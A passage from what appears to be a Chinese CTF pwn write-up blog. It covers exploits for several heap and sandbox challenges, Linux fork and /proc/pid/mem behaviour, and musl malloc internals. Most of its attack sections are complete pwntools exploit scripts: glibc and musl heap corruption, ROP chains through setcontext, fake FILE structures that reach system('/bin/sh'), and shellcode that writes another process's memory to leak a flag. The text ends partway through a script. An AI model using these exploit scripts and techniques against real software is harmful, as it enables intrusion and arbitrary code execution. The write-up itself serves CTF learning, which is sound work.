15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context.log_level='debug'
sh=remote("10.7.2.133",34789)
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')

def write_note(size,content):
sh.sendlineafter(">> ","1")
sh.sendlineafter("size: ",str(size))
sh.sendafter("content: ",content)

def delete_note(idx):
sh.sendlineafter(">> ","3")
sh.sendlineafter("index: ",str(idx))

def encrype_note(idx,key):
sh.sendlineafter(">> ","4")
sh.sendlineafter("index: ",str(idx))
sh.sendafter("encrypt key: ",key)

def read_note(i,idx,key=0):
sh.sendlineafter(">> ","2")
sh.sendlineafter("index: ",str(idx))
if i==1:
sh.sendafter("encrypt key: ",key)

duan="b *(0x7ffff7fc5000+{0})".format(0x1747)
#gdb.attach(sh,duan)
def exp():
rand=0xa6381cc
pay='a'*(0xf8-8-3)+p64(0x481)
write_note(0xf8,pay+'\n')
for i in range(11):
write_note(0x70,'a\n')
key=':'.ljust(0x10,'a')
encrype_note(0,key)
key=p32(rand)+':'.ljust(0xa,'a')
read_note(1,0,key)
delete_note(1)
write_note(0x70,'\a\n')
read_note(0,2)
sh.recvuntil("content: ")
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ecbe0
ret=0x0000000000022679+libc_base
pop_rdi=0x0000000000023b72+libc_base
pop_rsi=0x000000000002604f+libc_base
pop_rdx_r12=0x0000000000119241+libc_base
syscall_ret=0x00000000000630d9+libc_base
pop_rax=0x0000000000047400+libc_base
add_rsp_0x20_pop_rdx=0x0000000000042b71+libc_base
write_note(0x70,'\a\n')
delete_note(11)
delete_note(2)
read_note(0,12)
sh.recvuntil("content: ")
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x18a0
write_note(0x70,'a\n')
write_note(0x70,'a\n')
for i in range(7):
delete_note(4+i)
delete_note(2)
delete_note(11)
delete_note(12)
for i in range(7):
write_note(0x70,'a\n')
stderr=libc_base+0x1ed5c0
write_note(0x70,p64(stderr-0x10)+'\n')
write_note(0x70,'a\n')
write_note(0x70,'a\n')
setcontext_addr=libc_base+libc.sym["setcontext"]
pay='\x00'*0x10+'\x00'*0x28+p64(stderr+0x10)
pay=pay.ljust(0x70,'\x00')
write_note(0x70,pay)

io_str_jumps_addr=libc_base+0x1e9560

delete_note(2)
for i in range(6):
delete_note(4+i)
delete_note(10)
delete_note(11)
delete_note(12)
for i in range(7):
write_note(0x70,'a\n')
write_note(0x70,p64(stderr+0xb0)+'\n')
write_note(0x70,'a\n')
write_note(0x70,'a\n')
pay=p64(heap_base+0x1620)+p64(ret)+p64(0)*3+p64(io_str_jumps_addr)
write_note(0x70,pay+'\n')

delete_note(2)
for i in range(6):
delete_note(4+i)
delete_note(10)
delete_note(11)
delete_note(12)
payload1=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(heap_base+0x16a0)
payload1+=p64(pop_rdx_r12)+p64(0)*2+p64(pop_rsi)+p64(0)+p64(syscall_ret)
payload1+=p64(pop_rax)+p64(0)+p64(add_rsp_0x20_pop_rdx)

payload2="./flag\x00\x00"+p64(0)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0x2000)+p64(pop_rdx_r12)
payload2+=p64(0x30)*2+p64(syscall_ret)+p64(pop_rdi)+p64(heap_base+0x2000)+p64(libc_base+libc.sym["puts"])
for i in range(4):
write_note(0x70,payload2+'\n')
for i in range(3):
write_note(0x70,payload1+'\n')
write_note(0x70,p64(libc_base+libc.sym["__malloc_hook"])+'\n')
write_note(0x70,'a\n')
write_note(0x70,'a\n')
write_note(0x70,p64(setcontext_addr+61)+'\n')
#gdb.attach(sh)
delete_note(0)
sh.sendlineafter(">> ","1")
sh.sendlineafter("size: ",str(0x100))
print sh.recv()
sh.interactive()

exp()

0x3 忘了叫啥名

任意文件读加溢出io指针完成getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level='debug'
sh=remote("10.7.2.142",9898)
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def guess():
sh.sendlineafter("Your guess:",str(3))
sh.sendlineafter("Your guess:",str(6))
sh.sendlineafter("Your guess:",str(7))

def gitf(filepath):
sh.recvuntil("FileName: ")
sh.sendline(filepath)
def exp():
guess()
gitf('/proc/self/maps')
sh.recvuntil("Open successful\n")
elf_addr=int((sh.recv(12)),16)
sh.recvuntil("[heap]\n")
libc_addr=int((sh.recv(12)),16)
fake_file=elf_addr+0x4300+0x10
pay='a'*(0x4300-0x42E0)
pay+=p64(fake_file)+p64(0)
pay+='\xff\xff\xdf\xff;/bin/sh\x00'.ljust(0xd8,'\x00')
pay+=p64(fake_file+0xe0)
pay+=p64(libc_addr+libc.sym["system"])*21
sh.recvuntil("We will give you a million bonus cheque.\nLeave your name:")
sh.send(pay)
sh.interactive()
exp()

0x4 Mute&Blind

0x4.1 父子进程的关系

涉及到了父子进程的问题,以前只是粗略的学习了一下,知道该怎么使用,这次通过这道题对父子进程有了更深刻的理解

每个进程都有自己的地址空间,这个地址空间是虚拟的,每个进程的虚拟地址空间都是独立的,每个进程的虚拟地址空间和这个进程真正加载到内存的物理地址存在着映射关系,当这个进程执行某一条指令时先把这个指令的虚拟地址发送到MMU(CPU的地址转换单元),转化成这个指令的真实物理地址然后找到这个指令再进行执行。

当父进程创建子进程的时候,操作系统就会把父进程的虚拟地址空间复制一份再给子进程,并且父子进程的相对于物理内存的映射关系是一样的,注意是把独立的一份虚拟地址空间给了子进程,而不是父子进程共享地址空间。通过下面的代码可以证明他们的虚拟地址是一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<pthread.h>
char buf[10]={0};
int main(int argc,char *argv[])
{
pid_t pid=fork();
if(pid==-1){
perror("fork error");
exit(1);
}else if(pid==0){
sleep(2);
printf("%lld\n",&buf);
printf("chlid pid=%d\n",getpid());
printf("child is created\n");
}else{
printf("%lld\n",&buf);
printf("father pid=%d\n",getpid());
printf("father:my child is pid %d\n",pid);
}
printf("susssess\n");
return 0;
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<pthread.h>
char buf[10]={0};
int main(int argc,char *argv[])
{
pid_t pid=fork();
if(pid==-1){
perror("fork error");
exit(1);
}else if(pid==0){
sleep(4);
char buff[20]={0};
sprintf(buff,"/proc/%d/maps",getpid());
int fd=open(buff,0);
char buf[1000]={0};
read(fd,buf,900);
write(1,buf,900);
printf("%s\n",buf);
printf("chlid pid=%d\n",getpid());
printf("child is created\n");
}else{
int fd=open("/proc/self/maps",0);
char buf[1000]={0};
read(fd,buf,900);
write(1,buf,900);
printf("father pid=%d\n",getpid());
printf("father:my child is pid %d\n",pid);
}
printf("susssess\n");
return 0;
}

那映射关系一样又是什么意思呢,其实就是指他们映射到的物理内存内存是一样的,比如父进程的代码段的物理地址是1,那子进程的代码段的物理地址也是1,因为刚开始的映射关系是一样的。

父子进程的数据遵循写时复制,读时共享的原则,也就是读的时候他们的映射关系还是不变的,但写的时候就会发生改变,具体变化如下

写之前

img

写完后

img

但是读时共享,写时复制并不适用于代码段,首先可以确定父子进程的代码段是相同的,所以代码段是没必要复制的,因此内核将代码段标记为只读,这样父子进程就可以安全的共享此代码段了。fork之后在进程创建代码段时,新子进程的进程级页表项都指向和父进程相同的物理页帧,所以如果改变代码段的内容会破坏原先的映射关系。

这是我写的一个小demo。我在父进程修改了子进程的代码段,然后调试子进程,发现子进程的代码并没有被修改,可见父子进程的代码段应该也是写时复制,读时共享,所以这道题就没办法通过父进程修改子进程的代码段来控制子进程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
#include<string.h>
#include<pthread.h>
#include<stdlib.h>
#include<errno.h>
#include<sys/mman.h>
int main(){
int fd=open("/proc/self/maps",0);
char buf[1000]={0};
read(fd,buf,900);
write(1,buf,900);
size_t addr=0;
scanf("%lld",&addr);
mprotect((void *)addr,0x1000,7);
int pid=fork();
if(pid==-1){
printf("%s\n",strerror(errno));
exit(1);
}else if(pid==0){
sleep(10);
printf("chlid\n");
printf("father and child is not shared");
}else{
size_t child_text_addr=0;
printf("input child_text_addr\n");
scanf("%lld",&child_text_addr);
sprintf((void *)child_text_addr,"asdasdasdasdsad");
}
}

0x4.2 /proc/pid/self伪文件利用

这道题利用的是/proc/pid/mem伪文件,网上没有找见这个伪文件的具体定义,按我的理解就是这个进程的伪文件,打开的这个文件就是这个进程的虚拟地址空间的内容,可以通过这个伪文件的文件描述符对这个文件进行操作,也就是对这个进程的虚拟地址空间进行操作,比如read操作和write操作,但是注意的是read和wirte操作的虚拟地址必须是映射到内存中的,不然会发生io错误,原因也很好想,没有真实内存映射你怎么读怎么写,这是我写的一个小demo来完成当前进程的读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<pthread.h>
int main(){
char buf[100]={0};
sprintf(buf,"/proc/%d/mem",getpid());
printf("%s\n",buf);
int fd=open(buf,0);
printf("%d\n",fd);
char buff[1000]={0};
int fd1=open("/proc/self/maps",0);
char buff1[1000]={0};
read(fd1,buff1,900);
write(1,buff1,900);
printf("\n");
size_t offset=0;
scanf("%lld",&offset);
lseek(fd,offset,1);
read(fd,buff,900);
write(1,buff,900);
}

读取代码段的效果,此程序代码段相对于程序首地址偏移0x850

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
rootzhang@ubuntu:~/get-shell/tscrf/pwn5$ ./pwnc
/proc/5819/mem
3
561fcc31a000-561fcc31b000 r-xp 00000000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc
561fcc51a000-561fcc51b000 r--p 00000000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc
561fcc51b000-561fcc51c000 rw-p 00001000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc
561fcd474000-561fcd495000 rw-p 00000000 00:00 0 [heap]
7fc4ceee2000-7fc4cf0c9000 r-xp 00000000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fc4cf0c9000-7fc4cf2c9000 ---p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fc4cf2c9000-7fc4cf2cd000 r--p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fc4cf2cd000-7fc4cf2cf000 rw-p 001eb000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fc4cf2cf000-7fc4cf2d3000 rw-p 00000000 00:
94694569781328
]��f.�]�@f.�H�=I H�5B UH)�H��H��H��H��?H�H��tH� H��t
]��f�]�@f.��=� u/H�=� UH��t
����H����� ]����fDUH��]�f���UH��H��dH�%(H�E�1�H��������
H���H�H���H���'�����H������H�5�H�Ǹ�z���H������H�������H�������H�Ǹ�2�����������������H�=�������H�� �����}H���H��H�=�������������H�������}H���H�H�������������H�Ή������H�������H�ƿ�4����

���HDž����H������H��H�=#��t���H������H���������H�Ή��%���H�� �����������H�Ή�����H�� �����H�ƿ������H�u�dH34%(t�������DAWAVI��AUATL�%6 UH�-6 SA��I��L)�H�H������H��t 1��L��L��D��A��H��H9�u�H�[]A\A]A^A_Ðf.���H�H��/proc/%d/mem%d
/proc/self/maps%lld;8rootzhang@ubuntu:~/get-shell/tscrf/pwn5$

程序修改代码段导致程序异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
#include<string.h>
#include<pthread.h>
#include<stdlib.h>
#include<errno.h>
int s=4;
int main(){
char buf[100]={0};
s=5;
sprintf(buf,"/proc/%d/mem",getpid());
printf("%s\n",buf);
int fd=open(buf,O_RDWR);
printf("%d\n",fd);
char buff[0x1000]={0};
int fd1=open("/proc/self/maps",0);
char buff1[1000]={0};
read(fd1,buff1,900);
write(1,buff1,900);
printf("\n");
size_t offset=0;
scanf("%lld",&offset);
lseek(fd,offset,1);
for(int i=0;i<0x1000;i++){
buff[i]=0xcc;
}
int ret=write(fd,buff,0x1);
if(ret==-1){
printf("write fail\n");
printf("%s\n",strerror(errno));
}
printf("hock is not ok\n");
}

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rootzhang@ubuntu:~/get-shell/tscrf/pwn5$ ./pwnc
/proc/6461/mem
3
555edf693000-555edf694000 r-xp 00000000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc
555edf894000-555edf895000 r--p 00001000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc
555edf895000-555edf896000 rw-p 00002000 08:01 542793 /home/rootzhang/get-shell/tscrf/pwn5/pwnc
555ee0f03000-555ee0f24000 rw-p 00000000 00:00 0 [heap]
7fcea4c50000-7fcea4e37000 r-xp 00000000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fcea4e37000-7fcea5037000 ---p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fcea5037000-7fcea503b000 r--p 001e7000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fcea503b000-7fcea503d000 rw-p 001eb000 08:01 1192603 /lib/x86_64-linux-gnu/libc-2.27.so
7fcea503d000-7fcea5041000 rw-p 00000000 00:
93865963502584
追踪与中断点陷阱 (核心已转储)

可见这个伪文件还是非常nb的,如果能对这个伪文件进行write的话,就可以忽视这个进行的各个段的权限进行任意篡改。

0x4.3 解题思路

1.首先是能够执行任意库函数,使用了我从未见过的gadget

1
2
3
add [rbp-0x3d],ebx
nop
ret

只要控制了rbp和ebx就可以修改任意数据了了,这里修改got表的地址为syscall,然后使用plt跳到这个got表项就可以了。

2.把getpid的got改成mprotect,然后调用mprotect使得bss段rwx,然后跳到bss段

3.父进程调用调用open(‘/proc/pid/mem’,2,0)其中2代表是可写权限,然后调用lseek(fd,offset,0)把文件读写指针指导sleep后面的一个地址,然后write(fd,text,count),改写sleep()后面的代码,然后使用wait(-1,addr,0)等待这个子进程结束,这个子进程的返回值就是一个flag的字符,储存在addr+1的位置,最后使用write输出

其中有几个函数比较陌生

lseek(int fd, off_t offset, int whence):可以设置fd的当前读写指针,其中whence参数有三个

1
2
3
SEEK_SET:0#从文件头部开始偏移offset个字节
SEEK_CUR:1#从文件当前读写的指针位置开始,增加offset个字节的偏移量
SEEK_END:2#文件偏移量设置为文件的大小加上偏移量字节

**wait4 ( pid_t pid, int status*, int option, struct rusage *ru ),阻塞等待指定的子进程,然后把进程信息放在第二个参数的地方,如果pid=-1,则是等待所有子进程

4.子进程调用open(“./flag”,0),然后调用lseek(fd,offset,0)定位读写指针,然后调用read(fd,addr,1)读入一个flag,最后exit(*addr)把这个字符通过exit返回,这样父进程就可以通过wait()函数获得其返回值了。

0x4.3 脚本

重点参考了官方wp和ayoung佬的脚本,不过现在好像也就这两个wp,第一次写这么多的汇编,而且还是多进程的,写的时候胆战心惊生怕写错,最后在write那里少赋值了rax耽误了一会,不过幸好问题不大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pop_rdi=0x0000000000401573
pop_rsi_r15=0x0000000000401571
duan='b *({0})'.format(0x401505)
#gdb.attach(sh,duan)
def exp(offset):
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
# sh=process('./pwn1')
elf=ELF("./pwn1")
sh.recvuntil("Mute's pid is ")
father_pid=int(sh.recvuntil('\n'))
parent_shellcode='''
/*open("/proc/pid/mem",2,0)*/
mov rdi, 0x4047e0
mov rsi,2
mov rdx, 0
mov rax, 2
syscall
/*lseek(3,offset,0)*/
mov rdi, rax
mov rsi, 0x4013B8
mov rdx, 0
mov rax, 8
syscall
/*write(fd,0x4042E0+0x300,0x70)*/
mov rsi, 0x4045e0
mov rdx,0x70
mov rax, 1
syscall
/*wait4(-1,0x4042E0+0x800,0,0)*/
mov rdi, 0xffffffffffffffff
mov rsi, 0x404ae0
mov rdx, 0
mov rcx, 0
mov rax, 61
syscall
/*write(1,0x4042E0+0x801,0x1)*/
mov rax, 1
mov rdi, 1
mov rsi,0x404ae1
mov rdx, 1
syscall
'''
child_shellcode='''
/*open('./flag',0,0)*/
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
/*lseek(fd,offset,0)*/
mov rdi, rax
mov rsi, {0}
mov rdx, 0
mov rax, 8
syscall
/*read(fd,0x4042E0,1)*/
mov rsi, 0x4042E0
mov rdx, 1
mov rax, 0
syscall
/*exit(flag)*/
mov rdi, [rsi]
mov rax, 60
syscall
'''.format(offset)
sh.recvuntil("Maybe a Gift?")
pay=asm(parent_shellcode)
pay=pay.ljust(0x300,'\x00')
pay+=asm(child_shellcode)
pay=pay.ljust(0x500,'\x00')
pay+='/proc/'+str(father_pid+1)+'/mem\x00'
sh.send(pay)
sh.recvuntil("A overflow?")
csu1=0x40156A
csu2=0x401550
getpid_got=elf.got["getpid"]
pay='a'*0x48+p64(csu1)
pay+=p64(0x348e0)+p64(getpid_got+0x3d)
pay+=p64(0x404000)+p64(0x1000)
pay+=p64(7)+p64(0)+p64(0x40123c)
pay+=p64(csu1)+p64(0)+p64(1)
pay+=p64(0x404000)+p64(0x2000)+p64(7)
pay+=p64(0x404020)+p64(csu2)
pay+=p64(0)*7+p64(0x4042E0)
sh.send(pay)
sh.recvuntil('\n')
flag=sh.recv(1)
sh.close()
return flag
flag=''
for i in range(40):
s=exp(i)
flag+=s
if s=="}":
break
print flag

musl源码阅读&*ctf 前两道pwn

0x1 源码

0x1.1 重要结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
truct chunk{
char prev_user_data[];
uint8_t idx; //第5bit为idx第几个chunk
uint16_t offset; //与group的偏移
char data[];
};

struct group {
struct meta *meta;// meta的地址
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];// 保证0x10字节对齐
unsigned char storage[];# chunk
};

struct meta {
struct meta *prev, *next;//双向链表
struct group *mem;// 这里指向管理的group 地址
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

struct malloc_context {
uint64_t secret;// 和meta_area 头的check 是同一个值 就是校验值
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done;//是否初始化标记
unsigned mmap_counter;// 记录有多少mmap 的内存的数量
struct meta *free_meta_head;// 被free 的meta 头 这里meta 管理使用了队列和双向循环链表
struct meta *avail_meta;//指向可用meta数组
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];// 记录着可用的meta
size_t u sage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

这是一个映射关系,meta.sizeclass就是这个size_classes的下标,通过这个下标
把对应值取出来然后*0x10就是这个meta管理的slot的大小了,同时malloc_context.active
也是这个映射关系
onst uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

0x1.2 free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void free(void *p)
{
if (!p) return;
//通过chunkp得到对应的meta
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);//得到这个meta管理的group的slot的size
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
//*start = g->mem->storage(得到group中第一个chunk地址) + stride*idx(加上对应chunk偏移);
// start 就为对应p(chunk)的起始地址
// end 对应结束地址
get_nominal_size(p, end);
//self得到bitmap对应的位置,all是得到bitmap全是1的数
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
//把offsset设置为0xff,把idx清零
((unsigned char *)p)[-3] = 255;
*(uint16_t *)((char *)p-2) = 0;
//没看懂在干啥
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}

// atomic free without locking if this is neither first or last slot
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
//mask中为1代表未分配或者已分配且已free的chunk,
//为0代表已分配但还没free的cuhnk
uint32_t mask = freed | avail;
//防止doublefree
assert(!(mask&self));
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}
wrlock();
//nontrivial_free是关键的函数
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
//进入这个条件的情况有两种
//1:只有一个chunk被分配且这个chunk正是要被free的chunk
//2:除了一个chunk其余全被free,q且这个chunk正是要被free的chunk
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
if (g->next) {
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {
assert(sc < 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int okay_to_free(struct meta *g)
{
int sc = g->sizeclass;
//freeable=1根据源码 代表meta否可以被回收 freeable=0 代表不可以 =1 代表可以
if (!g->freeable) return 0;
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;

if (!g->maplen) return 1;
//要fake_meta完成指针互相,那这个条件天然满足
if (g->next != g) return 1;

if (!is_bouncing(sc)) return 1;

size_t cnt = g->last_idx+1;
size_t usage = ctx.usage_by_class[sc];
if (9*cnt <= usage && cnt < 20)
return 1;
return 0;
}

这个函数会检查chunk,group,meta和meta_area结构体,比较重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));//十六字节对齐
//获取slot的偏移offset,offset*0x10是真实偏移
int offset = *(const uint16_t *)(p - 2);
//获取这个slot的idx
int index = get_slot_index(p);
//检查chunk的往前数第四个字节是否为0,不为0抛出异常
//这个字节是判断chunk是否被溢出的标志位。
if (p[-4]) {
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
//通过offset获取group的首地址
const struct group *base = (const void *)(p - 0x10*offset - 0x10);
//获取meta地址,group的前八个字节是指向meta结构的地址
const struct meta *meta = base->meta;
assert(meta->mem == base);
assert(index <= meta->last_idx);
//如果这个chunk没有被使用就分配就会抛出异常
assert(!(meta->avail_mask & (1u<<index)));
//如果这个chunk被free过再进行free就会抛出异常
assert(!(meta->freed_mask & (1u<<index)));
//通过meta得到meta_area
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//对这个meta_area进行检查
assert(area->check == ctx.secret);
if (meta->sizeclass < 48) {
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}

完成指针互写的关键函数

1
2
3
4
5
6
7
8
9
10
11
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}

0x1.2 利用思路

1.在free的时候dequeue函数脱链检查不严格,可以利用这一点伪造meta进行指针互写

2.在完成第一步以后,被伪造的meta就会被free掉,下次malloc申请meta的时候queue就会申请到fak)meta,所以可以结合dequeue和queue进行任意地址申请

3.一般的攻击目标就是io结构,也就是fsop,只要能控制stdout stdin或者stderr其中一个结构体,令其flags为’/bin/sh’,write指针为’system’就可以完成getshell,究其原因就是exit会对io结构进行清理,代码如下,当然也可以控制std_uesd,这样只需要一次指针互写就可以做到,对io_file进行控制则比较麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
weak_alias(libc_exit_fini, __libc_exit_fini);

_Noreturn void exit(int code)
{
__funcs_on_exit();
__libc_exit_fini();
__stdio_exit();
_Exit(code);
}
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

0x2 babynote

就是利用stdout_used完成getshell,本来已经可以申请到io_file了,但是calloc会清零,破坏io_file,也没看懂官方wp是怎么绕过的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context.log_level='debug'
sh= process(["/home/rootzhang/musl/musl-1.2.2/build/lib/libc.so",'./pwn'])
#sh=remote("123.60.76.240",60001)
def add(name_size,name,note_size,note):
sh.sendlineafter("option: ","1")
sh.sendlineafter("name size: ",str(name_size))
sh.sendafter("name: ",name)
sh.sendlineafter("note size: ",str(note_size))
sh.sendafter("note content: ",note)

def free(name_size,name):
sh.sendlineafter("option: ","3")
sh.sendlineafter("name size: ",str(name_size))
sh.sendafter("name: ",name)

def find(name_size, name):
sh.sendlineafter("option: ", '2')
sh.sendlineafter("name size: ", str(name_size))
sh.sendafter("name: ", name)
def forget():
sh.sendlineafter("option: ", '4')
#gdb.attach(sh,"b *(0x7ffff7ff0000+0x1679)")
def exp():
add(0x40,'1\n',0x40,'1\n')
add(0x40,'2\n',0x28,'2\n')
add(0x40,'3\n',0x28,'3\n')
add(0x40,'4\n',0x28,'4\n')
add(0x40,'5\n',0x28,'5\n')
free(0x40,'1\n')
free(0x40,'2\n')
forget()
add(0x40,'6\n',0x28,'6'*0x28)
add(0x40,'7\n',0x28,'7\n')
free(0x40,'6\n')
add(0x40,'8\n',0x40,'8\n')
